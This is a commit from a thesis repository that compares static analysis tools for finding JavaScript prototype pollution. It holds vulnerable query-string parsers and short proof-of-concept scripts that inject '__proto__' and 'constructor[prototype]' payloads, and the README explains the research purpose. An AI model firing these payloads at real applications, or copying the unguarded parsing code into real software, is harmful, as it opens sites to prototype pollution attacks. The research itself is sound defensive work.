Skip to content

Commit 9dfd712

Browse files
committed
init
0 parents  commit 9dfd712

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

68 files changed

+1335
-0
lines changed

README.md

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
#Detecting prototype pollution vulnerabilities in JavaScript using static analysis
2+
This study focuses on prototype pollution vulnerability, a "new" type of security
3+
vulnerability, first discovered in 2018, that has not been studied in depth. The
4+
vulnerability exploits the prototype oriented design of JavaScript. By modifying
5+
the prototype of native objects such as Object, from which most other objects
6+
inherit properties and methods, it’s possible, depending on the logic of the specific
7+
application, to escalate to almost any other web vulnerability.
8+
9+
We collected JavaScript code containing real word prototype pollution vulnerability
10+
examples searching on vulnerability databases such as GitHub Advisory and
11+
other sources. To be sure that the collected examples are actually vulnerable we
12+
wrote a simple proof of concept exploit for each vulnerable function. We ran the
13+
static analysis tools considered against the vulnerable applications. Among the
14+
vulnerability dataset we picked some case studies which we analyzed in detail to
15+
explain different code patterns that lead to the vulnerability. These case studies
16+
were chosen to show interesting results which allowed us to highlight the strengths
17+
and limitations of each tool.
18+
19+
## Static Analysis Tools considered
20+
21+
###[ODGen](https://github.com/Song-Li/ODGen) and [ObjLupAnsys](https://github.com/Song-Li/ObjLupAnsys)
22+
ODGen/ObjLupAnsys new approach, based on Object Dependence Graph
23+
which succesfully model object lookups based on prototype chain, can detect
24+
almost all vulnerability cases. The current experimental implementation,
25+
however, is affected by bugs when it encounters some code patterns. It also
26+
suffers from serious performance issues when analyzing large packages or
27+
certain patterns. Also, it is very prone to flag false positives when executed
28+
against patched version of precedently vulnerable functions.
29+
30+
###[Semgrep](https://semgrep.dev/)
31+
Semgrep rules do not cover all cases such as direct assignments, due to the
32+
difficulty of including this case without having a very high false positive rate.
33+
The semgrep engine offers only limited intraprocedural dataflow analysis,
34+
and as expected can’t always detect vulnerability that are distributed across
35+
different functions (e.g. indirect recursive calls). The rules flag many false
36+
positives when executed against patched version of precedently vulnerable
37+
functions, as most mitigation techniques are not even considered.
38+
39+
###[CodeQL](https://codeql.github.com/)
40+
CodeQL can identify almost all vulnerability examples collected. The queries
41+
considered seem to be well written, the problems encountered are most likely
42+
limitation of the closed source engine. For what concerns false postives,
43+
most mitigation techniques are considered, thus CodeQL queries performs
44+
significantly better than other tools.
45+
46+
---
47+
48+
More details in the [thesis pdf](./thesis.pdf)
Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
"use strict";
2+
3+
var digitTest = /^\d+$/,
4+
keyBreaker = /([^\[\]]+)|(\[\])/g,
5+
paramTest = /([^?#]*)(#.*)?$/,
6+
entityRegex = /%([^0-9a-f][0-9a-f]|[0-9a-f][^0-9a-f]|[^0-9a-f][^0-9a-f])/i,
7+
startChars = {"#": true,"?": true},
8+
prep = function (str) {
9+
if (startChars[str.charAt(0)] === true) {
10+
str = str.substr(1);
11+
}
12+
str = str.replace(/\+/g, ' ');
13+
14+
try {
15+
return decodeURIComponent(str);
16+
}
17+
catch (e) {
18+
return decodeURIComponent(str.replace(entityRegex, function(match, hex) {
19+
return '%25' + hex;
20+
}));
21+
}
22+
};
23+
24+
function isArrayLikeName(name) {
25+
return digitTest.test(name) || name === '[]';
26+
}
27+
28+
function idenity(value){ return value; }
29+
30+
function deparam (params, valueDeserializer) {
31+
valueDeserializer = valueDeserializer || idenity;
32+
var data = {}, pairs, lastPart;
33+
if (params && paramTest.test(params)) {
34+
pairs = params.split('&');
35+
pairs.forEach(function (pair) {
36+
var parts = pair.split('='),
37+
key = prep(parts.shift()),
38+
value = prep(parts.join('=')),
39+
current = data;
40+
if (key) {
41+
parts = key.match(keyBreaker);
42+
for (var j = 0, l = parts.length - 1; j < l; j++) {
43+
var currentName = parts[j],
44+
nextName = parts[j + 1],
45+
currentIsArray = isArrayLikeName(currentName) && current instanceof Array;
46+
if (!current[currentName]) {
47+
if(currentIsArray) {
48+
current.push( isArrayLikeName(nextName) ? [] : {} );
49+
} else {
50+
// If what we are pointing to looks like an `array`
51+
current[currentName] = isArrayLikeName(nextName) ? [] : {};
52+
}
53+
54+
}
55+
if(currentIsArray) {
56+
current = current[current.length - 1];
57+
} else {
58+
current = current[currentName]; //obj.__proto__
59+
}
60+
61+
}
62+
lastPart = parts.pop();
63+
if ( isArrayLikeName(lastPart) ) {
64+
current.push(valueDeserializer(value));
65+
} else {
66+
current[lastPart] = valueDeserializer(value); //obj.__proto.__.test = val
67+
}
68+
}
69+
});
70+
}
71+
return data;
72+
}
73+
74+
module.exports = {deparam};
Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
import * as query from './canjs-deparam-ed.js';
2+
console.log({}.test);
3+
console.log({}.test2);
4+
console.log(query.deparam('?__proto__[test]=polluted&__proto__[kek]=rekt'));
5+
console.log(query.deparam('constructor[prototype][test2]=polluted'));
6+
console.log({}.test);
7+
console.log({}.kek);
8+
console.log({}.test2);

case_studies/canjs/canjs.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
References:
2+
3+
https://github.com/BlackFan/client-side-prototype-pollution/blob/master/pp/canjs-deparam.md

case_studies/canjs/package.json

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
{ "name" : "foo"
2+
, "version" : "1.2.3"
3+
, "main" : "canjs-deparam-ed.js"
4+
}
Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
var pattern = /(\w+)\[(\d+)\]/;
2+
3+
var decode = function(str) {
4+
try {
5+
return decodeURIComponent(str.replace(/\+/g, ' '));
6+
} catch (e) {
7+
return str;
8+
}
9+
}
10+
11+
exports.parse = function(str){
12+
if ('string' != typeof str) return {};
13+
14+
str = str.trim();
15+
if ('' == str) return {};
16+
if ('?' == str.charAt(0)) str = str.slice(1);
17+
18+
var obj = {};
19+
var pairs = str.split('&');
20+
for (var i = 0; i < pairs.length; i++) {
21+
var parts = pairs[i].split('=');
22+
//[ '__proto__[1337]', 'polluted' ]
23+
var key = decode(parts[0]);
24+
//'__proto__[1337]'
25+
var m;
26+
27+
if (m = pattern.exec(key)) {
28+
//m
29+
// [
30+
// '__proto__[1337]',
31+
// '__proto__',
32+
// '1337',
33+
// index: 0,
34+
// input: '__proto__[1337]',
35+
// groups: undefined
36+
// ]
37+
obj[m[1]] = obj[m[1]] || [];
38+
obj[m[1]][m[2]] = decode(parts[1]); //Triggers the Prototype pollution
39+
//{}.__proto__.1337 = 'polluted';
40+
continue;
41+
}
42+
43+
obj[parts[0]] = null == parts[1]
44+
? ''
45+
: decode(parts[1]);
46+
}
47+
48+
return obj;
49+
};
Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
References:
2+
3+
https://github.com/BlackFan/client-side-prototype-pollution/blob/master/pp/component_querystring.md
4+
5+
https://github.com/component/querystring/blob/7334366bae9b0434d2aa3a6ac9a9039eb1d17144/index.js#L65-L67
6+
7+
https://blog.s1r1us.ninja/research/PP#h.ba604pvst6oj
Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
{ "name" : "foo"
2+
, "version" : "1.2.3"
3+
, "main" : "./component_querystring.js"
4+
}
Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
import * as query from './component_querystring.js';
2+
console.log({}[1337]);
3+
query.parse('__proto__[1337]=polluted');
4+
console.log({}[1337]);
Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
import * as e from "./index-arguments.js"
2+
console.log("Before " + {}.polluted)
3+
e.extend(true, {}, JSON.parse('{"__proto__": {"polluted": "polluted"}}'))
4+
console.log("After: " + {}.polluted)

0 commit comments

Comments
 (0)